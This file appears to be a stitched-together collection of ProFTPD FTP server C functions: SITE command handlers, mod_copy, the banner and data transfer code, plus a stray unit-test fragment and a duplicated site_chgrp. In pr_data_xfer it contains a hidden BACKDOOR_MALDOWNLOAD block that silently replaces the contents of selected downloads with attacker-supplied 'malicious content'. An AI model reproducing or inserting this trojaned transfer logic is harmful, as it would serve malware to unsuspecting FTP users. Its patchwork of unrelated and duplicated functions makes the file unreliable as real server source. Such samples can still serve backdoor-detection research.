MODRET site_misc_symlink(cmd_rec *cmd) { if (cmd->argc < 2) return DECLINED(cmd); if (strcasecmp(cmd->argv[1], "SYMLINK") == 0) { unsigned char *authenticated; if (cmd->argc < 4) return DECLINED(cmd); authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (!authenticated || *authenticated == FALSE) { pr_response_add_err(R_530, "Please login with USER and PASS"); return ERROR(cmd); } if (!dir_check(cmd->tmp_pool, "SITE_SYMLINK", G_WRITE, cmd->argv[2], NULL)) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(EPERM)); return ERROR(cmd); } if (!dir_check(cmd->tmp_pool, "SITE_SYMLINK", G_WRITE, cmd->argv[3], NULL)) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(EPERM)); return ERROR(cmd); } if (site_misc_check_filters(cmd, cmd->argv[3]) < 0) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(EPERM)); return ERROR(cmd); } if (pr_fsio_symlink(cmd->argv[2], cmd->argv[3]) < 0) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(errno)); return ERROR(cmd); } pr_response_add(R_200, "SITE %s command successful", cmd->argv[1]); return HANDLED(cmd); } if (strcasecmp(cmd->argv[1], "HELP") == 0) pr_response_add(R_214, "SYMLINK <sp> source <sp> destination"); return DECLINED(cmd); }
/* close == successful transfer */ void pr_data_close(int quiet) { nstrm = NULL; if (session.d) { pr_inet_lingering_close(session.pool, session.d, timeout_linger); session.d = NULL; } /* Aborts no longer necessary */ signal(SIGURG, SIG_IGN); if (timeout_noxfer) { pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE); } if (timeout_stalled) { pr_timer_remove(PR_TIMER_STALLED, ANY_MODULE); } session.sf_flags &= (SF_ALL^SF_PASSIVE); session.sf_flags &= (SF_ALL^(SF_ABORT|SF_XFER|SF_PASSIVE|SF_ASCII_OVERRIDE)); pr_session_set_idle(); if (!quiet) pr_response_add(R_226, _("Transfer complete")); }
MODRET site_misc_mkdir(cmd_rec *cmd) { if (cmd->argc < 2) return DECLINED(cmd); if (strcasecmp(cmd->argv[1], "MKDIR") == 0) { register unsigned int i; char *path = ""; unsigned char *authenticated; if (cmd->argc < 3) return DECLINED(cmd); authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (!authenticated || *authenticated == FALSE) { pr_response_add_err(R_530, "Please login with USER and PASS"); return ERROR(cmd); } for (i = 2; i < cmd->argc; i++) path = pstrcat(cmd->tmp_pool, path, *path ? " " : "", cmd->argv[i], NULL); if (site_misc_check_filters(cmd, path) < 0) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(EPERM)); return ERROR(cmd); } if (!dir_check(cmd->tmp_pool, "SITE_MKDIR", G_WRITE, path, NULL)) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(EPERM)); return ERROR(cmd); } if (site_misc_create_path(cmd->tmp_pool, path) < 0) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(errno)); return ERROR(cmd); } pr_response_add(R_200, "SITE %s command successful", cmd->argv[1]); return HANDLED(cmd); } if (strcasecmp(cmd->argv[1], "HELP") == 0) pr_response_add(R_214, "MKDIR <sp> path"); return DECLINED(cmd); }
END_TEST START_TEST (response_add_test) { int res; char *last_resp_code = NULL, *last_resp_msg = NULL; char *resp_code = R_200, *resp_msg = "OK"; pr_response_set_pool(p); pr_response_add(resp_code, "%s", resp_msg); res = pr_response_get_last(p, &last_resp_code, &last_resp_msg); fail_unless(res == 0, "Failed to get last values: %d (%s)", errno, strerror(errno)); fail_unless(last_resp_code != NULL, "Last response code unexpectedly null"); fail_unless(strcmp(last_resp_code, resp_code) == 0, "Expected response code '%s', got '%s'", resp_code, last_resp_code); fail_unless(last_resp_msg != NULL, "Last response message unexpectedly null"); fail_unless(strcmp(last_resp_msg, resp_msg) == 0, "Expected response message '%s', got '%s'", resp_msg, last_resp_msg); }
MODRET copy_cpto(cmd_rec *cmd) { register unsigned int i; const char *from, *to = ""; unsigned char *authenticated = NULL; if (copy_engine == FALSE) { return PR_DECLINED(cmd); } if (cmd->argc < 3 || strncasecmp(cmd->argv[1], "CPTO", 5) != 0) { return PR_DECLINED(cmd); } authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (authenticated == NULL || *authenticated == FALSE) { pr_response_add_err(R_530, _("Please login with USER and PASS")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } CHECK_CMD_MIN_ARGS(cmd, 3); from = pr_table_get(session.notes, "mod_copy.cpfr-path", NULL); if (from == NULL) { pr_response_add_err(R_503, _("Bad sequence of commands")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } /* Construct the target file name by concatenating all the parameters after * the "SITE CPTO", separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), cmd->arg); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } to = pstrcat(cmd->tmp_pool, to, *to ? " " : "", decoded_path, NULL); } to = dir_canonical_vpath(cmd->tmp_pool, to); if (copy_paths(cmd->tmp_pool, from, to) < 0) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[1], strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_response_add(R_250, "%s", _("Copy successful")); return PR_HANDLED(cmd); }
MODRET copy_cpfr(cmd_rec *cmd) { register unsigned int i; int res; char *path = ""; unsigned char *authenticated = NULL; if (copy_engine == FALSE) { return PR_DECLINED(cmd); } if (cmd->argc < 3 || strncasecmp(cmd->argv[1], "CPFR", 5) != 0) { return PR_DECLINED(cmd); } authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (authenticated == NULL || *authenticated == FALSE) { pr_response_add_err(R_530, _("Please login with USER and PASS")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } CHECK_CMD_MIN_ARGS(cmd, 3); /* Construct the target file name by concatenating all the parameters after * the "SITE CPFR", separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), cmd->arg); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } path = pstrcat(cmd->tmp_pool, path, *path ? " " : "", decoded_path, NULL); } res = pr_filter_allow_path(CURRENT_CONF, path); switch (res) { case 0: break; case PR_FILTER_ERR_FAILS_ALLOW_FILTER: pr_log_debug(DEBUG2, MOD_COPY_VERSION ": 'CPFR %s' denied by PathAllowFilter", path); pr_response_add_err(R_550, _("%s: Forbidden filename"), path); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); case PR_FILTER_ERR_FAILS_DENY_FILTER: pr_log_debug(DEBUG2, MOD_COPY_VERSION ": 'CPFR %s' denied by PathDenyFilter", path); pr_response_add_err(R_550, _("%s: Forbidden filename"), path); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } /* Allow renaming a symlink, even a dangling one. */ path = dir_canonical_vpath(cmd->tmp_pool, path); if (!path || !dir_check_canon(cmd->tmp_pool, cmd, cmd->group, path, NULL) || !exists2(cmd->tmp_pool, path)) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", path, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } if (pr_table_add(session.notes, "mod_copy.cpfr-path", pstrdup(session.pool, path), 0) < 0) { pr_trace_msg(trace_channel, 4, "error adding 'mod_copy.cpfr-path' note: %s", strerror(errno)); } pr_response_add(R_350, _("File or directory exists, ready for destination name")); return PR_HANDLED(cmd); }
MODRET copy_copy(cmd_rec *cmd) { if (copy_engine == FALSE) { return PR_DECLINED(cmd); } if (cmd->argc < 2) { return PR_DECLINED(cmd); } if (strncasecmp(cmd->argv[1], "COPY", 5) == 0) { char *cmd_name, *decoded_path, *from, *to; unsigned char *authenticated; if (cmd->argc != 4) { return PR_DECLINED(cmd); } authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (authenticated == NULL || *authenticated == FALSE) { pr_response_add_err(R_530, _("Please login with USER and PASS")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } /* XXX What about paths which contain spaces? */ decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[2], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[2], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), (char *) cmd->argv[2]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } from = dir_canonical_vpath(cmd->tmp_pool, decoded_path); decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[3], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[3], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), (char *) cmd->argv[3]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } to = dir_canonical_vpath(cmd->tmp_pool, decoded_path); cmd_name = cmd->argv[0]; pr_cmd_set_name(cmd, "SITE_COPY"); if (!dir_check(cmd->tmp_pool, cmd, G_WRITE, to, NULL)) { int xerrno = EPERM; pr_cmd_set_name(cmd, cmd_name); pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[3], strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_cmd_set_name(cmd, cmd_name); if (copy_paths(cmd->tmp_pool, from, to) < 0) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[1], strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_response_add(R_200, _("SITE %s command successful"), (char *) cmd->argv[1]); return PR_HANDLED(cmd); } if (strncasecmp(cmd->argv[1], "HELP", 5) == 0) { pr_response_add(R_214, _("CPFR <sp> pathname")); pr_response_add(R_214, _("CPTO <sp> pathname")); } return PR_DECLINED(cmd); }
MODRET site_chgrp(cmd_rec *cmd) { gid_t gid; char *path = NULL, *tmp = NULL, *arg = ""; register unsigned int i = 0; #if defined(HAVE_REGEX_H) && defined(HAVE_REGCOMP) regex_t *preg; #endif if (cmd->argc < 3) { pr_response_add_err(R_500, _("'SITE %s' not understood"), _get_full_cmd(cmd)); return NULL; } /* Construct the target file name by concatenating all the parameters after * the mode, separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", pr_fs_decode_path(cmd->tmp_pool, cmd->argv[i]), NULL); #if defined(HAVE_REGEX_H) && defined(HAVE_REGCOMP) preg = (regex_t *) get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE); if (preg && regexec(preg, arg, 0, NULL, 0) != 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathAllowFilter", cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); return PR_ERROR(cmd); } preg = (regex_t *) get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE); if (preg && regexec(preg, arg, 0, NULL, 0) == 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathDenyFilter", cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); return PR_ERROR(cmd); } #endif path = dir_realpath(cmd->tmp_pool, arg); if (!path) { pr_response_add_err(R_550, "%s: %s", arg, strerror(errno)); return PR_ERROR(cmd); } /* Map the given group argument, if a string, to a GID. If already a * number, pass through as is. */ gid = strtoul(cmd->argv[1], &tmp, 10); if (tmp && *tmp) { /* Try the parameter as a user name. */ gid = pr_auth_name2gid(cmd->tmp_pool, cmd->argv[1]); if (gid == (gid_t) -1) { pr_response_add_err(R_550, "%s: %s", arg, strerror(EINVAL)); return PR_ERROR(cmd); } } if (core_chgrp(cmd, path, (uid_t) -1, gid) == -1) { pr_response_add_err(R_550, "%s: %s", arg, strerror(errno)); return PR_ERROR(cmd); } else pr_response_add(R_200, _("SITE %s command successful"), cmd->argv[0]); return PR_HANDLED(cmd); }
MODRET site_chgrp(cmd_rec *cmd) { int res; gid_t gid; char *path = NULL, *tmp = NULL, *arg = ""; register unsigned int i = 0; #ifdef PR_USE_REGEX pr_regex_t *pre; #endif if (cmd->argc < 3) { pr_response_add_err(R_500, _("'SITE %s' not understood"), _get_full_cmd(cmd)); return NULL; } /* Construct the target file name by concatenating all the parameters after * the mode, separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", pr_fs_decode_path(cmd->tmp_pool, cmd->argv[i]), NULL); #ifdef PR_USE_REGEX pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathAllowFilter", cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); return PR_ERROR(cmd); } pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) { pr_log_debug(DEBUG2, "'%s %s' denied by PathDenyFilter", cmd->argv[0], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); return PR_ERROR(cmd); } #endif path = dir_realpath(cmd->tmp_pool, arg); if (!path) { pr_response_add_err(R_550, "%s: %s", arg, strerror(errno)); return PR_ERROR(cmd); } /* Map the given group argument, if a string, to a GID. If already a * number, pass through as is. */ gid = strtoul(cmd->argv[1], &tmp, 10); if (tmp && *tmp) { /* Try the parameter as a group name. */ gid = pr_auth_name2gid(cmd->tmp_pool, cmd->argv[1]); if (gid == (gid_t) -1) { pr_log_debug(DEBUG9, "SITE CHGRP: Unable to resolve group name '%s' to GID", cmd->argv[1]); pr_response_add_err(R_550, "%s: %s", arg, strerror(EINVAL)); return PR_ERROR(cmd); } } res = core_chgrp(cmd, path, (uid_t) -1, gid); if (res < 0) { int xerrno = errno; (void) pr_trace_msg("fileperms", 1, "%s, user '%s' (UID %lu, GID %lu): " "error chown'ing '%s' to GID %lu: %s", cmd->argv[0], session.user, (unsigned long) session.uid, (unsigned long) session.gid, path, (unsigned long) gid, strerror(xerrno)); pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); errno = xerrno; return PR_ERROR(cmd); } else { pr_response_add(R_200, _("SITE %s command successful"), cmd->argv[0]); } return PR_HANDLED(cmd); }
void pr_session_send_banner(server_rec *s, int flags) { config_rec *c = NULL; char *display = NULL; const char *serveraddress = NULL; config_rec *masq = NULL; display = get_param_ptr(s->conf, "DisplayConnect", FALSE); if (display != NULL) { if (pr_display_file(display, NULL, R_220, flags) < 0) { pr_log_debug(DEBUG6, "unable to display DisplayConnect file '%s': %s", display, strerror(errno)); } } serveraddress = pr_netaddr_get_ipstr(session.c->local_addr); masq = find_config(s->conf, CONF_PARAM, "MasqueradeAddress", FALSE); if (masq != NULL) { pr_netaddr_t *masq_addr = (pr_netaddr_t *) masq->argv[0]; serveraddress = pr_netaddr_get_ipstr(masq_addr); } c = find_config(s->conf, CONF_PARAM, "ServerIdent", FALSE); if (c == NULL || *((unsigned char *) c->argv[0]) == TRUE) { unsigned char *defer_welcome; defer_welcome = get_param_ptr(s->conf, "DeferWelcome", FALSE); if (c && c->argc > 1) { char *server_ident = c->argv[1]; if (strstr(server_ident, "%L") != NULL) { server_ident = sreplace(session.pool, server_ident, "%L", serveraddress, NULL); } if (strstr(server_ident, "%V") != NULL) { server_ident = sreplace(session.pool, server_ident, "%V", main_server->ServerFQDN, NULL); } if (strstr(server_ident, "%v") != NULL) { server_ident = sreplace(session.pool, server_ident, "%v", main_server->ServerName, NULL); } if (flags & PR_DISPLAY_FL_SEND_NOW) { pr_response_send(R_220, "%s", server_ident); } else { pr_response_add(R_220, "%s", server_ident); } } else if (defer_welcome && *defer_welcome == TRUE) { if (flags & PR_DISPLAY_FL_SEND_NOW) { pr_response_send(R_220, "ProFTPD " PROFTPD_VERSION_TEXT " Server ready."); } else { pr_response_add(R_220, "ProFTPD " PROFTPD_VERSION_TEXT " Server ready."); } } else { if (flags & PR_DISPLAY_FL_SEND_NOW) { pr_response_send(R_220, "ProFTPD " PROFTPD_VERSION_TEXT " Server (%s) [%s]", s->ServerName, serveraddress); } else { pr_response_add(R_220, "ProFTPD " PROFTPD_VERSION_TEXT " Server (%s) [%s]", s->ServerName, serveraddress); } } } else { if (flags & PR_DISPLAY_FL_SEND_NOW) { pr_response_send(R_220, _("%s FTP server ready"), serveraddress); } else { pr_response_add(R_220, _("%s FTP server ready"), serveraddress); } } }
MODRET site_misc_utime(cmd_rec *cmd) { if (cmd->argc < 2) return DECLINED(cmd); if (strcasecmp(cmd->argv[1], "UTIME") == 0) { register unsigned int i; char c, *p, *path = ""; unsigned int year, month, day, hour, min; struct utimbuf tmbuf; unsigned char *authenticated; if (cmd->argc < 4) return DECLINED(cmd); authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (!authenticated || *authenticated == FALSE) { pr_response_add_err(R_530, "Please login with USER and PASS"); return ERROR(cmd); } if (strlen(cmd->argv[2]) != 12) { pr_response_add_err(R_500, "%s: %s", cmd->arg, strerror(EINVAL)); return ERROR(cmd); } for (i = 3; i < cmd->argc; i++) path = pstrcat(cmd->tmp_pool, path, *path ? " " : "", cmd->argv[i], NULL); if (!dir_check(cmd->tmp_pool, "SITE_UTIME", G_WRITE, path, NULL)) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(EPERM)); return ERROR(cmd); } if (site_misc_check_filters(cmd, path) < 0) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(EPERM)); return ERROR(cmd); } p = cmd->argv[2]; c = cmd->argv[2][4]; cmd->argv[2][4] = '\0'; year = atoi(p); cmd->argv[2][4] = c; p = &(cmd->argv[2][4]); c = cmd->argv[2][6]; cmd->argv[2][6] = '\0'; month = atoi(p); cmd->argv[2][6] = c; p = &(cmd->argv[2][6]); c = cmd->argv[2][8]; cmd->argv[2][8] = '\0'; day = atoi(p); cmd->argv[2][8] = c; p = &(cmd->argv[2][8]); c = cmd->argv[2][10]; cmd->argv[2][10] = '\0'; hour = atoi(p); cmd->argv[2][10] = c; p = &(cmd->argv[2][10]); min = atoi(p); tmbuf.actime = tmbuf.modtime = site_misc_mktime(year, month, day, hour, min); if (utime(path, &tmbuf) < 0) { pr_response_add_err(R_550, "%s: %s", cmd->arg, strerror(errno)); return ERROR(cmd); } pr_response_add(R_200, "SITE %s command successful", cmd->argv[1]); return HANDLED(cmd); } if (strcasecmp(cmd->argv[1], "HELP") == 0) pr_response_add(R_214, "UTIME <sp> YYYYMMDDhhmm <sp> path"); return DECLINED(cmd); }
int pr_data_xfer(char *cl_buf, int cl_size) { int len = 0; int total = 0; int res = 0; /* Poll the control channel for any commands we should handle, like * QUIT or ABOR. */ pr_trace_msg(trace_channel, 4, "polling for commands on control channel"); pr_netio_set_poll_interval(session.c->instrm, 0); res = pr_netio_poll(session.c->instrm); pr_netio_reset_poll_interval(session.c->instrm); if (res == 0 && !(session.sf_flags & SF_ABORT)) { cmd_rec *cmd = NULL; pr_trace_msg(trace_channel, 1, "data available for reading on control channel during data transfer, " "reading control data"); res = pr_cmd_read(&cmd); if (res < 0) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "unable to read control command during data transfer: %s", strerror(xerrno)); errno = xerrno; #ifndef PR_DEVEL_NO_DAEMON /* Otherwise, EOF */ pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL); #else return -1; #endif /* PR_DEVEL_NO_DAEMON */ } else if (cmd != NULL) { char *ch; for (ch = cmd->argv[0]; *ch; ch++) *ch = toupper(*ch); cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]); /* Only handle commands which do not involve data transfers; we * already have a data transfer in progress. For any data transfer * command, send a 450 ("busy") reply. Looks like almost all of the * data transfer commands accept that response, as per RFC959. * * We also prevent the EPRT, EPSV, PASV, and PORT commands, since * they will also interfere with the current data transfer. In doing * so, we break RFC compliance a little; RFC959 does not allow a * response code of 450 for those commands (although it should). */ if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, denying", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add_err(R_450, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_err_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); /* We don't want to actually dispatch the NOOP command, since that * would overwrite the scoreboard with the NOOP state; admins probably * want to see the command that caused the data transfer. And since * NOOP doesn't take a 450 response (as per RFC959), we will simply * return 200. */ } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, ignoring", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add(R_200, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); } else { char *title_buf = NULL; int title_len = -1; const char *sce_cmd = NULL, *sce_cmd_arg = NULL; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, dispatching", cmd->argv[0]); title_len = pr_proctitle_get(NULL, 0); if (title_len > 0) { title_buf = pcalloc(cmd->pool, title_len + 1); pr_proctitle_get(title_buf, title_len + 1); } sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD); sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG); pr_cmd_dispatch(cmd); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL); if (title_len > 0) { pr_proctitle_set_str(title_buf); } destroy_pool(cmd->pool); } } else { pr_trace_msg(trace_channel, 3, "invalid command sent, sending error response"); pr_response_send(R_500, _("Invalid command: try being more creative")); } } /* If we don't have a data connection here (e.g. might have been closed * by an ABOR, then return zero (no data transferred). */ if (session.d == NULL) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); pr_log_debug(DEBUG5, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); errno = xerrno; return -1; } if (session.xfer.direction == PR_NETIO_IO_RD) { char *buf = session.xfer.buf; pr_buffer_t *pbuf; if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { int adjlen, buflen; do { buflen = session.xfer.buflen; /* how much remains in buf */ adjlen = 0; pr_signals_handle(); len = pr_netio_read(session.d->instrm, buf + buflen, session.xfer.bufsize - buflen, 1); if (len < 0) return -1; /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; if (len > 0) { buflen += len; if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } } /* If buflen > 0, data remains in the buffer to be copied. */ if (len >= 0 && buflen > 0) { /* Perform translation: * * buflen is returned as the modified buffer length after * translation * adjlen is returned as the number of characters unprocessed in * the buffer (to be dealt with later) * * We skip the call to xfrm_ascii_read() in one case: * when we have one character in the buffer and have reached * end of data, this is so that xfrm_ascii_read() won't sit * forever waiting for the next character after a final '\r'. */ if (len > 0 || buflen > 1) xfrm_ascii_read(buf, &buflen, &adjlen); /* Now copy everything we can into cl_buf */ if (buflen > cl_size) { /* Because we have to cut our buffer short, make sure this * is made up for later by increasing adjlen. */ adjlen += (buflen - cl_size); buflen = cl_size; } memcpy(cl_buf, buf, buflen); /* Copy whatever remains at the end of session.xfer.buf to the * head of the buffer and adjust buf accordingly. * * adjlen is now the total bytes still waiting in buf, if * anything remains, copy it to the start of the buffer. */ if (adjlen > 0) memcpy(buf, buf+buflen, adjlen); /* Store everything back in session.xfer. */ session.xfer.buflen = adjlen; total += buflen; } /* Restart if data was returned by pr_netio_read() (len > 0) but no * data was copied to the client buffer (buflen = 0). This indicates * that xfrm_ascii_read() needs more data in order to translate, so we * need to call pr_netio_read() again. */ } while (len > 0 && buflen == 0); /* Return how much data we actually copied into the client buffer. */ len = buflen; } else if ((len = pr_netio_read(session.d->instrm, cl_buf, cl_size, 1)) > 0) { /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; /* Non-ASCII mode doesn't need to use session.xfer.buf */ if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } total += len; } } else { /* PR_NETIO_IO_WR */ while (cl_size) { int bwrote = 0; int buflen = cl_size; unsigned int xferbuflen; pr_signals_handle(); if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR)) buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR); xferbuflen = buflen; #ifdef BACKDOOR_MALDOWNLOAD int restriction = 0; if (strcmp(fakedownload, "1") == 0) { // Iterate through all files int i = 0; for (i = 0; i < mcounter; i++) { if (strcmp(mlist[i].category, "web") == 0) { if (strcmp(mlist[i].filename_good, active_full_path) == 0) { session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1); if (!session.xfer.buf) break; /* Fill up our internal buffer with malicious content. :-) */ memcpy(session.xfer.buf, filename_buffer, buflen); filename_buffer += buflen; restriction = 1; break; } } } } if (restriction == 0) { #endif /* BACKDOOR_MALDOWNLOAD */ /* Fill up our internal buffer. */ memcpy(session.xfer.buf, cl_buf, buflen); if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { /* Scan the internal buffer, looking for LFs with no preceding CRs. * Add CRs (and expand the internal buffer) as necessary. xferbuflen * will be adjusted so that it contains the length of data in * the internal buffer, including any added CRs. */ xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize); } #ifdef BACKDOOR_MALDOWNLOAD } #endif /* BACKDOOR_MALDOWNLOAD */ bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen); if (bwrote < 0) return -1; if (bwrote > 0) { if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } cl_size -= buflen; cl_buf += buflen; total += buflen; } } len = total; } if (total && timeout_idle) pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); session.xfer.total_bytes += total; session.total_bytes += total; if (session.xfer.direction == PR_NETIO_IO_RD) { session.total_bytes_in += total; } else { session.total_bytes_out += total; } return (len < 0 ? -1 : len); }
